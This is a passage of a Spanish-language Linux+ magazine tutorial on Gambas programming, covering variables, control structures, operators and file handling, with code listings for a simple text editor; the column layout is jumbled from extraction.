caso, tendríamos que almacenar distintos tipos de datos, con ellos. Cabe aclarar que las variables se almacenan en la
para poder realizar la tarea final. Es decir, tuviéramos que memoria del ordenador, y no en el disco rígido, razón por la
poder guardar: cual al apagarla, su contenido se pierde.

72 Linux+ 4/2009
programación
Curso de programación en Gambas

de todo el archivo, como así también dentro


Listado 1. La sintaxis de la estructura IF
de las subrutinas o funciones que este archivo La importancia de la
contenga. Estas variables reciben el nombre de Indentación
IF CondicionVerdadero/ variables globales.
Falso THEN Para declarar una variable local, se utiliza Como buenos programadores, debemos
Código Fuente Gambas la palabra reservada DIM, seguido del tipo de aplicar, en la medida que sea posible,
[ ELSE IF CondicionVerdadero/ dato a almacenar: todas las buenas prácticas de progra-
Falso THEN mación. Una de ellas -creo yo, una de
Código Fuente Gambas DIM NombreVariables las más importantes- es la utilización de
[ ELSE ] AS TipoDato indentación. Se le llama indentación a la
Código Fuente Gambas acción de dejar espacios a la izquierda
ENDIF El tipo de dato especifica qué es lo que se va para identificar claramente cada bloque.
a almacenar en esa variable, es decir, si se va Observa los ejemplos de las estructuras
a almacenar un Nombre (Cadena de Texto), un anteriores. Supongamos que tenemos
Listado 2. La sintaxis te la estructura Teléfono (Número), una Fecha de Nacimiento muchos IF..ELSE anidados. Si el código
SELECT CASE (Fecha). Los tipos de datos posibles en Gambas lo hubiésemos escrito todo alineado a la
se listan en la Tabla 1. izquierda, no se entendería realmente
SELECT Condición Verdadero/Falso La sintaxis de declaración de una variable qué parte de código corresponde a un
[CASE Expresión [TO] Expresión global es la siguiente: bloque en particular, dificultando así
[, Expresión ...] de manera exuberante la claridad y le-
[CASE Expresión [TO] Expresión [STATIC] (PUBLIC | PRIVATE) gibilidad de nuestro código. Piense que
[, Expresión ...] NombreVariables ese mismo código puede ser utilizado
[CASE ELSE | DEFAULT ...] AS TipoDato por un compañero de trabajo, o tal vez,
END SELECT necesitemos modificarlos nosotros mis-
Aquí, la declaración de variables es similar, mos un largo tiempo después. Trate de
Existen dos lugares donde se pueden de- simplemente agregándole el ámbito de varia- ser prolijo y claro al programar, le será
clarar variables en Gambas, dependiendo de ble. El ámbito especifica el alcance que va de suma utilidad.
dónde se vayan a utilizar. Un caso es que se a tener esta variable,es decir, desde dónde se
utilicen en una subrutina o función, siendo que podrá utilizar. Si especificamos a la variable Vale aclarar que en la sintaxis, las sentencias
las variables que se declaren allí servirán y se como PUBLIC, será accesible desde todos los que estén entre corchetes, no son obligatorias.
podrán utilizar solamente en la subrutina o fun- archivos del proyecto. Al cambio, si especifi- Veamos algunos ejemplos de declaración de
ción donde fueron declaradas. Estas variables camos nuestra variable como PRIVATE, solo variables:
reciben el nombre de variables locales. Una podrá ser utilizada en el archivo donde se haya
vez que finaliza la ejecución de la subrutina o declarado. Si este archivo contiene subrutinas • DIM Nombre AS String,
función, estas variables se destruirán automáti- o funciones, también puede ser utilizada allí. • DIM Edad AS Byte,
camente, liberando el espacio en memoria que Por último, el modificador STATIC, se utiliza • DIM Existe AS Boolean,
ocupan. solamente en los archivos de clase, y sirve • PUBLIC FechaNacimiento AS Date,
El otro caso es que las variables se declaren para definir un comportamiento en especial a • PRIVATE Sueldo AS Float.
al comienzo de un archivo de código, como la variable. No entraremos en detalle, ya que
lo es un modulo o clase, por ejemplo. En este no será necesario utilizarla dentro del curso, Hay que notar que la variable Edad ha sido de-
caso, las variables se podrán utilizar dentro y tampoco lo son muy utilizadas a menudo. clarada como tipo de dato BYTE, ya que este da-
to admite valores desde 0 a 255, y es adecuada
Tabla 1. Tabla de los distintos tipos de datos en Gambas
para guardar el valor de la edad de una persona,
Tipo de dato Descripción Tamaño memoria Default
¡ya que no existe ninguna personal que haya
Boolean Valor Booleano – TRUE 1 byte FALSE vivido más de 255 años!
o FALSE
Byte 0 ... 255 1 byte 0 Estructuras de Control
Short -32768 ... +32767 2 bytes 0 Las estructuras de control sirven para alterar el
Integer -2147483648 ... 4 bytes 0 flujo de un programa, dependiendo una condi-
+2147483647 ción dada. Estas estructuras pueden dividirse en
Float Valores con Decimales 8 bytes 0 dos categorías: las estructuras selectivas y las
estructuras iterativas.
Date Fecha/Hora en 4 bytes 8 bytes NULL
enteros cada uno
Estructuras Selectivas
String Referencia a Cadena 4 bytes NULL
Existen dos tipos de estructuras selectivas. La
de Texto
estructura selectiva que más se utiliza en un
Variant Cualquier tipo de dato 12 bytes NULL programa, es la Estructura IF. Esta estructura,
Object Referencia indirecta a 4 bytes NULL evalúa una condición de VERDADERO o FALSO,
un objeto y actúa en consecuencia. Si la clausula ELSE se

www.lpmagazine.org 73
programación
Curso de programación en Gambas

Las estructuras iterativas las podemos


clasificar en dos categorías: las de Condición
Superior, y las de Condición Inferior.
Condicion
Estructuras iterativas con Condición Su-
perior:

Codigo si es Codigo si es • FOR... NEXT,


Verdadero Falso
• WHILE... WEND.

Estructuras iterativas con Condición Inferior:


Figura 1. Diagrama de la Estructura IF. A la derecha, un Código Fuente de Ejemplo
• REPEAT... UNTIL.

Expresion
de Evaluacion La principal diferencia entre estas dos catego-
Verdadero Condicion
Codigo a Ejecutar rías es que en las Estructuras con Condición
CASE
Inferior, nos aseguramos que por lo menos se
Verdadero Condicion
CASE
Codigo a Ejecutar entre en el bucle una vez, al cambio, en las
Estructuras con Condición Superior no nos
Verdadero Condicion Codigo a Ejecutar
podemos asegurar esto.
CASE
Comencemos por las Estructuras iterativas
Falso
Codigo a Ejecutar con Condición Superior.

Bucle FOR... NEXT


Figura 2. Diagrama de la Estructura SELECT CASE. A la derecha, un Código Fuente de Ejemplo Cuando nos sea necesario realizar una acción
especifica, se ejecuta el código en caso de que de CASE ELSE. La palabra clave TO especifica un determinado número de veces, la mejor op-
la condición haya sido evaluada como FALSE. un rango de valores posibles en esa condi- ción es usar un bucle del tipo FOR... NEXT. En
La sintaxis de la estructura IF está presentada ción. Las clausulas CASE ELSE y DEFAULT se este bucle se le especifica la cantidad de veces
en el Listado 1. utilizan indistintamente. Podemos ver en la que queremos que se repita el código que está
Para comprender mejor, miremos la Fi- Figura 2 el diagrama de la estructura SELECT dentro de él. La sintaxis de la estructura se deta-
gura 1, donde se muestra el diagrama de la CASE con un código fuente de ejemplo. lla a continuación:
estructura IF, y un Código de Gambas ejem-
plo a su derecha. Estructuras Iterativas FOR Variable=ExpresionComiezo TO
Por último, la otra estructura selectiva es Estas estructuras nos serán de suma utilidad a la ExpresionFin
la Estructura SELECT CASE. Esta estructura es hora de ejecutar código una cantidad repetidas [STEP ExpresionSalto]
de utilidad cuando se necesitan demasiados veces (a veces conocida y otras veces no). Estas Código Fuente Gambas
niveles de anidamiento del tipo IF/ELSEIF/ estructuras tienen una condición de salida de NEXT
ELSE. La sintaxis te la estructura SELECT CA- iteración, sino se ejecutaría el mismo código
SE está presentada en el Listado 2. infinidades de veces, y caeríamos en lo que ExpresionComienzo tiene el valor de comien-
Al comienzo de la estructura, se evalúa se conoce como bucle infinito, y provocaría zo de la variable, y la ExpresionFin el valor
la expresión y dependiendo del valor que ésta que nuestro programa no terminaría nunca ya de finalización de dicha variable. Para poder
contenga, se empiezan a evaluar los CASE que nunca saldría de ese bucle. Este tipo de determinar cuántas veces se ejecutará nuestro
en busca de coincidir con una valor que dé errores es lo que tenemos que evitar a la hora bucle, tendremos que realizar la siguiente cuen-
verdadero. Si ningún valor es verdadero, se de programar, ya que son errores que terminan ta matemática:
ejecutará el código que se encuentra dentro completamente con el funcionamiento de nues-
tro programa, y se consideran como un error TotalRepeticioes=
Expresion grave de programación. ExpresionFin – ExpresionComienzo
de Inicializacion

Condicion
de Finalizacion Condicion
de
Premanencia
Codigo a Ejecutar

Codigo a Ejacular

Figura 3. Diagrama de la Estructura FOR... NEXT .


Abajo, un Código Fuente de Ejemplo Figura 4. Diagrama de la Estructura WHILE... WEND . A la derecha, un Código Fuente de Ejemplo

74 Linux+ 4/2009
programación
Curso de programación en Gambas

Tabla 2. Operadores Aritméticos. Num1 y Num2 son variables Más adelante en esta entrega veremos el uso
Operador Descripción Ejemplo de INC.
+ Suma Num1 + Num2 A modo de aclaración global, es necesario
resaltar que para las variables utilizadas en los
- Resta Num1 - Num2
bucles solamente pueden ser de tipo entero,
* Multiplicación Num1 * Num2
ya que no se puede iterar de 0 a 5,44212, por
/ División Num1 / Num2 ejemplo.
\ Resto de la división Num1 \ Num2
DIV Resto de la división Num1 DIV Num2 Bucle REPEAT... UNTIL
MOD Resto de la división Num1 MOD Num2 Este bucle es similar al bucle WHILE...WEND,
INC Incrementa 1 INC Num1 con salvedad de que éste se encuentra en la
categoría de Estructuras iterativas con Con-
DEC Decrementa 1 DEC Num1
dición Inferior, teniendo como significado
Para entender mejor este bucle, contemplemos WHILE... WEND, poniendo, por ejemplo, que que un bucle del tipo REPEAT... UNTIL se
la Figura 3. el bucle finalice cuando se ingrese el número ejecutará por lo menos una vez, sin impor-
Si ejecutamos este código fuente, observa- de legajo -1 (Inexistente). Vale aclarar que la tar el valor de la variable de condición. Es
remos cómo el bucle incrementa de uno en uno condición del bucle es una condición de per- importante destacar que el valor de perma-
el valor de la variable. Si se llega a agregar el manencia, es decir, la condición nos especifi- nencia de la variable tiene que ser un valor
valor de STEP, el bucle no saltará de uno en uno, ca cuándo el bucle se ejecutará y no cuándo que especifique la negación. Observemos el
sino que saltará según el valor especificado en saldrá. Para aclarar mejor esto, veamos el diagrama que se encuentra en la Figura 5,
STEP. Por ejemplo, si tenemos el siguiente bu- ejemplo de la Figura 4. junto al código fuente de ejemplo.
cle FOR... NEXT: Podemos observar que el diagrama del En este código fuente, se ejecuta el bloque
bucle WHILE... WEND es similar al de bucle REPEAT... UNTIL mientras que la variable Nu-
FOR Variable=0 TO 10 STEP 2 FOR... NEXT, ya que ambos funcionan de mero no sea menor a 8. Cuando la variable tome
Código Fuente Gambas la misma manera, difiriendo en que el bucle el valor 8, se saldrá del bucle. Es por eso que de-
NEXT FOR... NEXT necesita un valor de inicializa- cimos que la condición tiene que tomar un valor
ción y finalización para poder ejecutarse, lo que especifique una permanencia negativa.
La variable en este caso tomará los valores que lo convierte en un bucle que se ejecutará A modo de resumen, se deja en la Figura 6,
0,2,4,6,8,10 ejecutándose 6 veces, y no 10 un numero predefinido de veces, por el con- un diagrama con las estructuras del lenguaje,
veces como el bucle anterior. En este caso, trario el bucle WHILE.. WEND solamente tiene según su clasificación.
nuestra cuenta matemática no nos será de la condición por la cual se permanecerá den-
utilidad. tro del bucle. Para poder entrar dentro de un Operadores
bucle WHILE... WEND, en necesario que antes del Lenguaje
Bucle WHILE... WEND de entrar, el valor que juega como condición Cualquier lenguaje de programación con-
Cuando necesitamos ejecutar una porción de de permanencia en el bucle sea VERDADE- vencional divide a sus operadores en 3 ca-
código fuente un número de veces que no son RO, de lo contrario nunca se podría ingresar tegorías: aritméticos, lógicos y relacionales.
fijas, es decir, que no lo tenemos especificado en el bucle. A modo de ejemplo, supongamos Estos operadores nos servirán para poder rea-
anteriormente, lo mejor es utilizar un bucle que la variable Numero esté inicializada de lizar operaciones matemáticas, comparar va-
del tipo WHILE... WEND. Supongamos que antermano con el valor 8 antes de entrar al lores, como así también, utilizar expresiones
tenemos un programa que nos pide que ingre- bucle. Esto daría como resultado un valor booleanas.
semos los datos de los alumnos de una escuela FALSE, ya que 8 no es distinto de 8, y por esa Como bien su nombre lo indica, los ope-
para guardarlos en una Base de Datos, pero no razón nunca se entraría en el bucle. Vemos en radores aritméticos tienen la tarea de realizar
sabemos cuántos alumnos son de antemano. la Figura 4 el uso de la sentencia INC, la cual operaciones matemáticas. Podemos ver los
En este caso, utilizaríamos un bucle del tipo se encarga de sumarle 1 al valor de la variable operadores aritméticos disponibles en Gambas
que tiene a su derecha, cada vez que se itere. en la Tabla 2.

Codigo a Ejacular Estructuras de Control

Condicion
NOT de Selección Iteración
Premanencia

IF ... END IF SELECT CASE Condicion Superior Condicion Inferior

FOR... NEXT WHILE... WEND REPAT ... UNTIL

Figura 5. Diagrama de la Estructura REPEAT...


UNTIL . Abajo, un Código Fuente de Ejemplo Figura 6. Diagrama de las Estructuras de Gambas, según su categoría

www.lpmagazine.org 75
programación
Curso de programación en Gambas

Tabla 3. Operadores Lógicos archivos, mediante un ejemplo integrador de


Y (AND) Para obtener una expresión Verdadera, ambos componentes un editor de texto sencillo.
deben ser Verdaderos
VERDADERO VERDADERO VERDADERO Manipulando Archivos
FALSO FALSO VERDADERO El manejo de archivos es un proceso real-
mente sencillo. Simplemente, se remite a tres
FALSO VERDADERO FALSO
pasos:
FALSO FALSO FALSO
O (OR) Para obtener una expresión Verdadera, solo basta que minimamente • Abrir el Archivo,
un componente sea verdadero • Manipular el Archivo (Leer, Escribir, Eje-
VERDADERO VERDADERO VERDADERO cutar, etc),
VERDADERO FALSO VERDADERO • Cerrar el Archivo.
VERDADERO VERDADERO FALSO
FALSO FALSO FALSO Gambas nos provee una rica biblioteca de
funciones para manipular archivos. Las fun-
NO (NOT) Niega el Componente, consiguiendo una expresión contraria a su
ciones más utilizadas podemos visualizarlas
valor
en la Tabla 5. Algunas de estas funciones las
FALSO VERDADERO FALSO
utilizaremos en nuestro editor de texto.
VERDADERO FALSO VERDADERO La forma en que se utilizan estas fun-
ciones la explicaré a continuación, inte-
Tabla 4. Operadores Relacionales. Num1 y Num2 son variables
grando los conceptos vistos anteriormente,
Operador Descripción Ejemplo
programando nuestro editor de texto en
> Mayor que... Num1 > Num2 Gambas.
< Menor que... Num1 < Num2
>= Mayor o Igual que... Num1 >= Num2 ¡A Programar!
<= Menor o igual que... Num1 <= Num2 Empecemos a programar nuestro editor de
texto. Tendrá las funciones básicas de un
<> Distinto Num1 <> Num2
editor de texto, y nos servirá de ejemplo para
= Igual Num1 = Num2
integrar los conocimientos adquiridos hasta
Tabla 5. Funciones para la manipulación de archivos ahora. Repasando los conceptos vistos en la
entrega anterior, diseñaremos la interfaz grá-
Función Descripción
fica de nuestro editor, que será similar a la que
Open/Close Abre/Cierra un archivo
muestra la Figura 7. Como primer paso, ini-
Line Input Lee una línea completa de un archivo ciamos el IDE de Gambas y creamos un nuevo
Read Lee N bytes de un archivo proyecto. A este, le asignamos el nombre que
Write Escribe en un archivo más nos guste.
Access Determina si el archivo puede ser accedido o no Tanto los controles utilizados como las
Eof Determina si se ha llegado al fin del archivo propiedades definidas para el Editor de Texto,
se encuentran en la Tabla 6. Observe que hay
Lof Determina el tamaño en bytes del archivo
propiedades que son iguales para todos los
Exist Determina si el archivo existe o no
controles. Si el lector desea, puede asignarle
IsDir? Determina si un directorio existe o no a los button la propiedad tooltip, que sirve
Stat Retorna información acerca de un archivo para que aparezcan en la pantalla, comenta-
rios acerca de la función del botón cuando
Los operadores lógicos sirven para evaluar operadores arrojan resultados de Verdadero/ se pasa el ratón por encima. Esta propiedad
condiciones booleanas, es decir, expresiones Falso que una estructura de este tipo puede recibe la cadena de texto que quiere que se
que indican Verdadero o Falso. En la Tabla evaluar. Veremos más adelante un ejemplo muestre como comentario. Todas las imáge-
3 podemos visualizar una tabla de la verdad, utilizando estos operadores. nes de los botones han sido extraídas de los
en la que se indican posibles valores y su co- repositorios de imágenes que trae incorpora-
rrespondiente resultado (columna izquierda) Trabajando do Gambas.
aplicadle el operador lógico. con Archivos Ahora bien, empecemos declarando las
Los operadores relacionales, también Sin duda, la mayoría de los programas uti- variables que utilizaremos. Para ello, hace-
conocidos como operadores de comparación, lizan archivos para realizar sus funciones. mos doble clic sobre alguna zona del formula-
sirven para comparar dos valores, arrojando Algunos los utilizan para generar archivos rio (cualquiera), lo cual nos abrirá el editor de
un resultado del tipo booleano (Verdadero o de reporte de errores (logs), otros para alma- código. Una vez allí, nos dirigimos a la barra
Falso). Ver Tabla 4. cenar configuraciones, etc. El manejo de ar- superior del editor de código, y en el cuadro
Tanto los operadores lógicos, como los chivos es una tarea que ningún programador desplegable seleccionamos la opción Decla-
operadores relacionales, suelen utilizarse en en Gambas debe desconocer. Es por ello que raciones. Allí es donde se declaran todas las
estructuras de control selectivas, ya que estos aprenderemos en esta sección a manipular variables que utilizaremos en nuestro formu-

76 Linux+ 4/2009
programación
Curso de programación en Gambas

En Unix todo es un Archivo


Seguramente habrás escuchado alguna
vez decir a un guru de Unix: En Unix
todo es un Archivo, y no estaba equi-
vocado cuando lo decía. GNU/Linux no
escapa a ese concepto. Tanto las imá-
genes, como los vídeos, o el dispositivo
USB, etc es tratado como un archivo.
Es por ello que, al saber manipular,
por ejemplo, un archivo de texto, es
igual al saber manipular el dispositivo
USB (siempre hablando en términos de
Lectura/Escritura).

de texto, ya que no se puede guardar un ar-


chivo sin antes crearlo. Es por ello que no
están habilitados los controles btnGuardar,
btnGuardarComo y txtEditorTexto . Por
último, nos encargamos de ocultar el botón
Figura 7. Interfaz de nuestro editor de texto ¡Simple pero potente!
btnCerrarArchivo , ya que no nos será ne-
lario. Ver Figura 8. Una vez situados allí, de datos que maneja cada variable, compa- cesario que éste se encuentre en el formula-
declaramos las siguientes variables: rándose y entendiendo el por qué de la elec- rio, por la misma razón que deshabilitamos
ción del tipo de datos, en función de la labor los controles.
PRIVATE Archivo AS File que realizará. Este código fuente es un excelente ejem-
PRIVATE NombreArchivo AS String Comencemos programando nuestros pri- plo de asignación de propiedades en tiempo
PRIVATE RutaArchivo AS String meros eventos. El primero de ello será el de ejecución, es decir, que se realizarán una
PRIVATE ModificoArchivo AS Boolean evento open del FMain que, como su nombre vez que el programa esté corriendo en la
lo indica, se dispara cuando el formulario se PC. Por ejemplo, el botón btnCerrarAr-
Hemos declarado a estas variables PRIVADAS, abre. Escribimos, dentro de él, el Código chivo se muestra en el diseño de nuestro
ya que solo las utilizaremos en el formulario Fuente 1, presentado en el Listado 3. editor de texto, pero una vez ejecutado el
principal, y no en otro. La utilidad de las varia- Pasemos a explicarlo: En primera ins- código, éste desaparece.
bles son las siguientes: tancia, le asignamos un texto a FMain, me- El Código Fuente 2:
diante la propiedad text. Este texto apa-
• Archivo: Esta variable será nuestro des- recerá en la barra de título. Luego, nos en- PUBLIC SUB txtEditorTexto_Change( )
criptor de archivo, es decir, ella almace- cargamos de deshabilitar los controles que ModificoArchivo = TRUE
nará la dirección de dónde se encuentra no son necesarios al iniciar nuestro editor END
el archivo con el que estamos trabajan-
do (o vamos a trabajar). Tabla 6. Propiedades de los controles
• NombreArchivo: Esta variable se encar- Tipo Control Name Height Width Picture
gará de contener el nombre del archivo
Form Fmain 532 735 [Ninguna]
actual.
TextArea txtEditorTexto 721 483 [Ninguna]
• RutaArchivo: Esta variable almacena
el PATH o ruta completa del archivo Button btnNuevo 28 28 New
actual. Nos servirá de referencia para Button btnAbrir 28 28 Open
saber dónde se encuentra ubicado el ar- Button btnGuardar 28 28 Save
chivo. Button btnGuardarComo 28 28 Save-As
• ModificoArchivo: Esta variable se
Button btnDeshacer 28 28 Undo
encargará de almacenar un valor TRUE
Button btnRehacer 28 28 Redo
o FALSE, en caso de que el archivo con el
que estemos trabajando, haya sido mo- Button btnCortar 28 28 Cut
dificado. Button btnCopiar 28 28 Copy
Button btnPegar 28 28 Paste
Es aconsejable y se considera una buena Button btnBloquear 28 28 Lock
práctica de programación, poner nombres Button btnCerrarArchivo 28 28 Close
lo suficientemente descriptivos en las va-
Button btnSalir 28 28 Quit
riables, que por si solas denoten su función
Las propiedades Text de todos los controles están vacías
dentro del programa. Note el lector el tipo

www.lpmagazine.org 77
programación
Curso de programación en Gambas

Listado 3. Código Fuente 1. Declaración de Variables


¡Igualdad de condiciones!
PUBLIC SUB Form_Open( ) Podemos observar que muchos de los
Fmain.Text = “Editor de Texto” controles – como así también, métodos
btnGuardar.Enabled = FALSE y eventos - tienen valores similares. En
btnGuardarComo.Enabled = FALSE Gambas, se aplica -en mayor medida- la
txtEditorTexto.Enabled = FALSE igualdad de condiciones. Esta igualdad
btnCerrarArchivo.Visible = FALSE consiste en que, por ejemplo, si la pro-
END piedad text de un determinado control
sirve para asignar texto dentro de él,
Listado 4. Codigo Fuente 3. Evento Clic del btnNuevo los demás controles que también la
tengan cumplan la misma función. Esta
PUBLIC SUB btnNuevo_Click( ) igualdad le hace más sencilla la tarea al
IF btnCerrarArchivo.Visible = TRUE THEN programador, evitando tener que memo-
Message.Info(''¡Primero debe cerrar el archivo!'') rizar distintos nombres de propiedades,
RETURN según el control que esté utilizando.
ENDIF
NombreArchivo = InputBox("Nombre del Nuevo Archivo: ", ''Editor de asignamos a la variable NombreArchivo con
Texto'') el valor que es introducido en nuestro Input-
RutaArchivo = User.Home & ''/'' & NombreArchivo Box. La función InputBox, es utilizada para
IF Exist(RutaArchivo) = TRUE THEN que el usuario introduzca un valor, y éste
Message.Error(''Nombre de Archivo invalido o existente'') pueda ser guardado en, por ejemplo, una va-
ELSE riable. La llamada a esta función comprende
OPEN RutaArchivo FOR CREATE AS #Archivo la siguiente sintaxis:
Fmain.Text = ''Editor de Texto - '' & RutaArchivo
btnCerrarArchivo.Visible = TRUE InputBox
btnGuardar.Enabled = TRUE (Descripcion del Mensaje,
btnGuardarComo.Enabled = TRUE Titulo, Texto por Defecto)
txtEditorTexto.Enabled = TRUE
txtEditorTexto.SetFocus En la Figura 9 podemos ver como quedaría
ENDIF nuestro InputBox, dependiendo de los pará-
metros pasados. Vale aclarar que el InputBox

se encarga de asignar el valor TRUE a la va- cemos el Código Fuente 3, mostrado en el


riable ModificoArchivo. Podemos ver que Listado 4. ¿Que es el código ASCII?
éste se asigna cuando el evento Change del En primer lugar, comprobamos mediante
control txtEditorTexto. Este evento se la estructura de selección IF... END IF, si el Los ordenadores solo entienden núme-
dispara cuando ocurre un cambio dentro del btnCerrarArchivo está visible, y de ser así, ros. Para poder representar los caracte-
control, es decir, si se presiona una tecla, o se nos identifica que hay algún archivo abierto res en forma de número se utiliza como
modifica alguna palabra del texto, etc. y nos y es por ello que no podemos crear uno nue- estándar el Código ASCII. ¿Quién no
viene perfecto para la labor que necesitamos vo. Le avisamos de dicha situación al usuario tuvo alguna vez que apretar Alt+64 para
realizar. mediante un MessageBox y luego salimos del introducir el símbolo de arroba (@) en la
Ahora empecemos a trabajar con archi- evento mediante la sentencia RETURN. Esta pantalla? El código ASCII es una repre-
vos. Para ello, proseguiremos a codificar el sentencia se encarga de romper el flujo del sentación numérica de un carácter co-
evento clic del btnNuevo, que se encargará programa, saliendo de los eventos antes que mo ‘a’ o ‘@’, o también es una represen-
de pedirnos un nombre de archivo nuevo finalicen, aunque también es utilizada en los tación de un carácter de control, como
y crearlo para que podamos trabajar. Anali- procedimientos para salir de ellos. Luego, lo puede ser el carácter ENTER. ASCII
es el acrónimo Ingles de American Stan-
dard Code for Information Interchange -
(Código Estadounidense Estándar para
el Intercambio de Información) y posee
una tabla general con todos los valores
de sus números, con sus correspon-
dientes representaciones en carácter.
Podemos obtener una tabla ASCII
simplemente tipeando en la consola el
comando man ascii.
Figura 8. Sección de Declaración de Variables

78 Linux+ 4/2009
programación
Curso de programación en Gambas

donde se encontrará nuestro archivo de texto.


Listado 5. Codigo Fuente 4. Codificación de los botones btnGuardar y btnGuardarComo
Por cuestiones de simplicidad, todos nuestros
archivos se guardan en el directorio HOME del
PUBLIC SUB btnGuardar_Click( ) usuario que esté logueado en el sistema en ese
Archivo.Save(RutaArchivo, txtEditorTexto.Text) momento, ya que más adelante veremos cómo
END invocar cuadros de diálogo para que el usuario
PUBLIC SUB btnGuardarComo_Click( ) pueda, entre otras cosas, elegir la ruta donde
DIM Nombre AS String quiera guardar su archivo. Una vez generada
Nombre = InputBox(''Ingrese el Nombre del Archivo a Guardar:'') la ruta del archivo, nos encargamos de invocar
IF Exist(User.Home & ''/'' & Nombre) = TRUE THEN a la función Exist (Ver Tabla 5), para verificar
Message.Error(''¡Nombre/Ruta Invalida!'') que no exista un archivo en ese directorio con
ELSE el mismo nombre ingresado por el usuario,
RutaArchivo = User.Home & ''/'' & Nombre porque de ser así, lo podríamos reemplazar ac-
Fmain.Text = ''Editor de Texto - '' & RutaArchivo cidentalmente ¡y tendríamos serios problemas
Archivo.Save(RutaArchivo, txtEditorTexto.Text) con el usuario si éste llegara a perder sus datos
ENDIF por una falla del programador! Si la función
END nos retorna el valor TRUE, la informamos al
usuario y el flujo del programa se dirige al END
Listado 6. Codigo Fuente 5. Codificación del boton btnAbrir IF, y como luego no hay más código, se sale
automáticamente del evento. Supongamos
PUBLIC SUB btnAbrir_Click( ) que el usuario ingresa un nombre de archivo
DIM Linea AS String válido o inexistente, es entonces ahora donde
DIM Nombre AS String el código se encarga de abrir una nueva ruta
IF btnCerrarArchivo.Visible = TRUE THEN que le indicamos (OPEN RutaArchivo) para
Message.Info(''¡Primero debe cerrar el Archivo!'') su creación (FOR CREATE) y lo asociamos
RETURN a nuestra variable Archivo (AS #Archivo) para
ENDIF que actúe como descriptor, para luego poder
Nombre – InputBox(''Ingrese el nombre del Archivo:'') manipularlo mediante esta variable. Una vez
IF Nombre = '' '' THEN finalizado el proceso de creación de archivo,
RETURN nos encargamos de habilitar los botones para
ENDIF que el usuario los pueda utilizar y asignarle
RutaArchivo = User.Home & ''/'' & Nombre un nuevo título a la barra de título de nuestro
IF Exist(RutaArchivo) = TRUE THEN form con la ruta de nuestro archivo, y por úl-
OPEN RutaArchivo FOR READ WRITE AS #Archivo timo, le damos el foco al editor de texto (txt
Fmain.Text = ''Editor de Texto - '' & RutaArchivo EditorTexto.SetFocus) para que el cursor se
btnCerrarArchivo.Visible = TRUE situé automáticamente sobre él.
WHILE NOT Eof(Archivo) Ahora nos dedicaremos a codificar la ac-
LINE INPUT #Archivo, Linea ción de Guardar un archivo. Como todo progra-
txtEditorTexto.Text = txtEditorTexto.Text & Linea & Chr(13) ma convencional, existe la opción de Guardar
WEND y de Guardar Como. Veamos cómo funcionan
btnGuardar.Enabled = TRUE ambas, en el Código Fuente 4 (Listado 5).
btnGuardarComo.Enabled – TRUE Empecemos con el btnGuardar. Como
txtEditorTexto.Enabled = TRUE dijimos, de ahora en más, el encargado de
txtEditorTexto.SetFocus realizar las acciones sobre nuestro archivo es
ELSE nuestro descriptor. Es por ello que accedemos
Message.Error(''¡Archivo Inexistente!'') al método SAVE, donde le indicamos la ruta del
ENDIF archivo donde queremos guardar, y qué texto
END queremos guardar en él. En este caso, sería el

es una FUNCION y no un CONTROL, por lo


cual no podemos agregarlos desde el cuadro
de controles. Solo el parámetro Descripción
del Mensaje es obligatorio.
Siguiendo con nuestro Codigo Fuente 3,
se procede a generar una cadena de texto, com-
prendida por la ruta HOME del usuario más el
nombre del archivo introducido en el Input-
Box. En el medio, se concatena la barra inver-
tida (“/”) , para poder generar la ruta completa Figura 9. Aspecto del InputBox con sus parámetros correspondientes

www.lpmagazine.org 79
programación
Curso de programación en Gambas

Listado 7. Código Fuente 6. Codificando el btnCerrarArchivo procedemos a guardar el archivo, tal como
lo hicimos en el btnGuardar, es decir, con
el método SAVE. Podemos ver que también
PUBLIC SUB btnCerrarArchivo_Click( ) le reasignamos la propiedad text al FMain,
IF ModificoArchivo = TRUE THEN para que nos muestre en la barra de título el
IF Message.Question(''¿Desea guardar las modificaciones?'', nombre del archivo que acabamos de guardar.
''Si'', ''No'') = 1 THEN Vale aclarar que la variable Nombre, declarada
Archivo.Save(RutaArchivo, txtEditorTexto.Text) dentro del evento, solo se puede usar mientras
ENDIF el evento esté activo, es decir, si queremos uti-
ENDIF lizar su valor en otra parte del programa, nos
IF Archivo <> NULL THEN saldrá un cartel de error, informándonos que la
CLOSE #Archivo variable no existe. Esta variable se crea cuando
ENDIF el evento Click se dispara, y muere cuando el
ModificoArchivo = FALSE evento termina.
Fmain.Text = ''Editor de Texto'' Para codificar el btnAbrir, no hace falta
btnGuardar.Enabled = FALSE aplicar muchos más conceptos que los vistos
btnGuardarComo.Enabled = FALSE hasta el momento. Gambas trata que su códi-
btnCerrarArchivo.Visible = FALSE go sea similar al realizar acciones similares,
txtEditorTexto.Enabled = FALSE pudiendose asi, aplicar las mismas técnicas
txtEditorTexto.Text = '' '' dependiendo de una tarea u otra (Ver recuadro
txtEditorTexto.SetFocus ¡Igualdad de Condiciones!). En el Código
END Fuente 5 (Listado 6) podemos observar cómo
quedaría codificado nuestro botón para poder
Listado 8. Codigo Fuente 7. Ultimas codificaciones de nuestros botones abrir un archivo y qué se muestre en nuestro
editor de texto.
PUBLIC SUB Form_Close( ) PUBLIC SUB btnSalir_Click( ) Comparando este código con otros vistos
btnCerrarArchivo_Click( ) btnCerrarArchivo_Click( ) anteriormente, podemos observar que solamen-
QUIT QUIT te difieren en un par de aspectos. Principalmen-
END END te, se procede al ingreso de datos y la valida-
PUBLIC SUB btnDeshacer_Click( ) PUBLIC SUB btnCopiar_Click( ) ción de que realmente exista el archivo que el
txtEditorTexto.Undo txtEditorTexto.Copy usuario quiere abrir, tal cual como lo hicimos
END END anteriormente. Concentrémonos en la apertura
PUBLIC SUB btnRehacer_Click( ) PUBLIC SUB btnPegar_Click( ) del archivo. Como nos indica la sentencia OPEN
txtEditorTexto.Redo txtEditorTexto.Paste RutaArchivo FOR READ WRITE AS #Archi-
END END vo, aquí estamos abriendo un archivo (el que
PUBLIC SUB btnBloquear_Click( ) PUBLIC SUB btnCortar_Click( ) contiene la variable RutaArchivo), para que
IF txtEditorTexto.Enabled = FALSE THEN txtEditorTexto.Cut éste pueda ser leído y escrito, y por último, lo
txtEditorTexto.Enabled = TRUE END asociamos a nuestro descriptor de archivo para
ELSE poder manipularlo. El archivo está abierto para
txtEditorTexto.Enabled = FALSE lectura y escritura, ya que principalmente lo va-
ENDIF mos a leer todo para poder mostrar su contenido
END (READ) y, tal vez, el usuario lo quiera modificar
por lo que también tiene que tener permisos de
Listado 9. Codigo Fuente 8. Todo el código del formulario Fsplash escritura (WRITE).
Para poder mostrar la totalidad del archivo
